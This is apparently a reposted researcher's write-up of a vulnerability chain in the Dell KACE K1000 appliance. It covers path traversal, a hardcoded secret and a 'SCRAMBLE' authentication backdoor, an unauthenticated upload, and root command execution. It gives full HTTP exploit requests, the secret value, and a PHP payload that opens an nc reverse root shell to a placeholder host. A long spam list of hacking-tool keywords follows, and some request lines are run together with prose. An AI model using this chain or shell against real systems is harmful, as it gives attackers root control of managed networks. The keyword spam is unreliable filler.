A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below:
Read more
- Top Pentest Tools
- Pentest Tools
- Hackers Toolbox
- Hacker Tools Hardware
- Pentest Tools Port Scanner
- Hacking Apps
- Pentest Tools Kali Linux
- Game Hacking
- Hacker Tools 2019
- What Are Hacking Tools
- Hacker Tools Online
- Hacker Tools Linux
- Pentest Tools Github
- Kik Hack Tools
- Github Hacking Tools
- Pentest Tools For Windows
- What Is Hacking Tools
- Pentest Tools Android
- Install Pentest Tools Ubuntu
- Pentest Automation Tools
- Hacking Tools Software
- Hacking App
- Beginner Hacker Tools
- Hacking Tools For Mac
- Pentest Tools Tcp Port Scanner
- Hacking Tools Windows
- How To Hack
- Pentest Tools Download
- Hacker Tools Hardware
- Pentest Tools Find Subdomains
- Hack Apps
- Pentest Automation Tools
- Termux Hacking Tools 2019
- Easy Hack Tools
- Hacker Hardware Tools
- Hack Tools For Pc
- Blackhat Hacker Tools
- Pentest Recon Tools
- Pentest Automation Tools
- Android Hack Tools Github
- Hacking Tools Mac
- Hacker Techniques Tools And Incident Handling
- Best Pentesting Tools 2018
- Hack Tools
- Hacking Tools Windows
- Hacking Tools For Mac
- Hack Tool Apk No Root
- Hacker Search Tools
- Hacker Tools Free
- Hacker Hardware Tools
- Game Hacking
- Free Pentest Tools For Windows
- Game Hacking
- Hacker Tools Free
- Hak5 Tools
- Hack Tools 2019
- Hack App
- Termux Hacking Tools 2019
- Hacker Tools Apk Download
- Hacker Tools Linux
- Pentest Box Tools Download
- Github Hacking Tools
- Hack Tools Download
- Bluetooth Hacking Tools Kali
- Hack Tools 2019
- Wifi Hacker Tools For Windows
- Black Hat Hacker Tools
- Hack Tools Github
- Hack Tools For Games
- Hacker Tools For Mac
- Pentest Recon Tools
- Hacking Tools For Pc
- Pentest Tools Port Scanner
- Usb Pentest Tools
- World No 1 Hacker Software
- Pentest Tools Android
- Tools Used For Hacking
- Top Pentest Tools
- Hacking Tools And Software
- Hack Apps
- Hacking Tools For Beginners
- Hacker Tools 2019
- Hacking Tools Windows
- Beginner Hacker Tools
- Hack Tools 2019
- Hacker Techniques Tools And Incident Handling
- Hacking Tools For Windows Free Download
- Hack Tools
- Hacking Tools
- Pentest Tools For Android
- Hacks And Tools
- Hacker Tools Mac
- Hacking Tools Software
- Pentest Tools Alternative
- Physical Pentest Tools
- Usb Pentest Tools
- Pentest Tools For Mac
- Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Automation Tools
- Hack Tools
- How To Install Pentest Tools In Ubuntu
- Hacker
- Pentest Tools Framework
- Hack Tools 2019
- Computer Hacker
- Hacking Tools Name
- Physical Pentest Tools
- Hacking App
- Nsa Hacker Tools
- Hacking Tools Hardware
- Hacker Security Tools
- Hack Tools Download
- Hack Tools Download
- Hacker Tools 2019
- Hacker Techniques Tools And Incident Handling
- Install Pentest Tools Ubuntu
- Bluetooth Hacking Tools Kali
- New Hacker Tools
- Hacker
- Hak5 Tools
- Android Hack Tools Github
- How To Hack
- Hack And Tools
- Kik Hack Tools
- Hack Apps
- Pentest Tools Open Source
- Hacks And Tools
- Pentest Tools Subdomain
- Github Hacking Tools
- Hackrf Tools
- Pentest Tools Website
- Hacker
- Free Pentest Tools For Windows
- Hacking Tools For Games
- Wifi Hacker Tools For Windows
- Hack And Tools
- Wifi Hacker Tools For Windows
- Growth Hacker Tools
- Pentest Tools Download
- Hackrf Tools
- Pentest Tools Url Fuzzer
- Hacking Tools Github
- Hack Tools For Mac
- Hacking Tools 2020
- Best Hacking Tools 2019
- Hacking Tools For Beginners
- Pentest Tools
- Underground Hacker Sites
- Pentest Tools List
- Hacker Search Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Tools For Mac
- Beginner Hacker Tools
- Pentest Tools Github
- Termux Hacking Tools 2019
- Hack Tools
- Pentest Tools Kali Linux
- Hack Tools
- Hacking Tools 2019
- Pentest Tools Website
- Hacking Tools Online
- Nsa Hacker Tools
- Hacker Tools Windows
- Pentest Tools Url Fuzzer
- Hacker Tools
- Hacking Tools Download
- Hacking Tools Github
No comments:
Post a Comment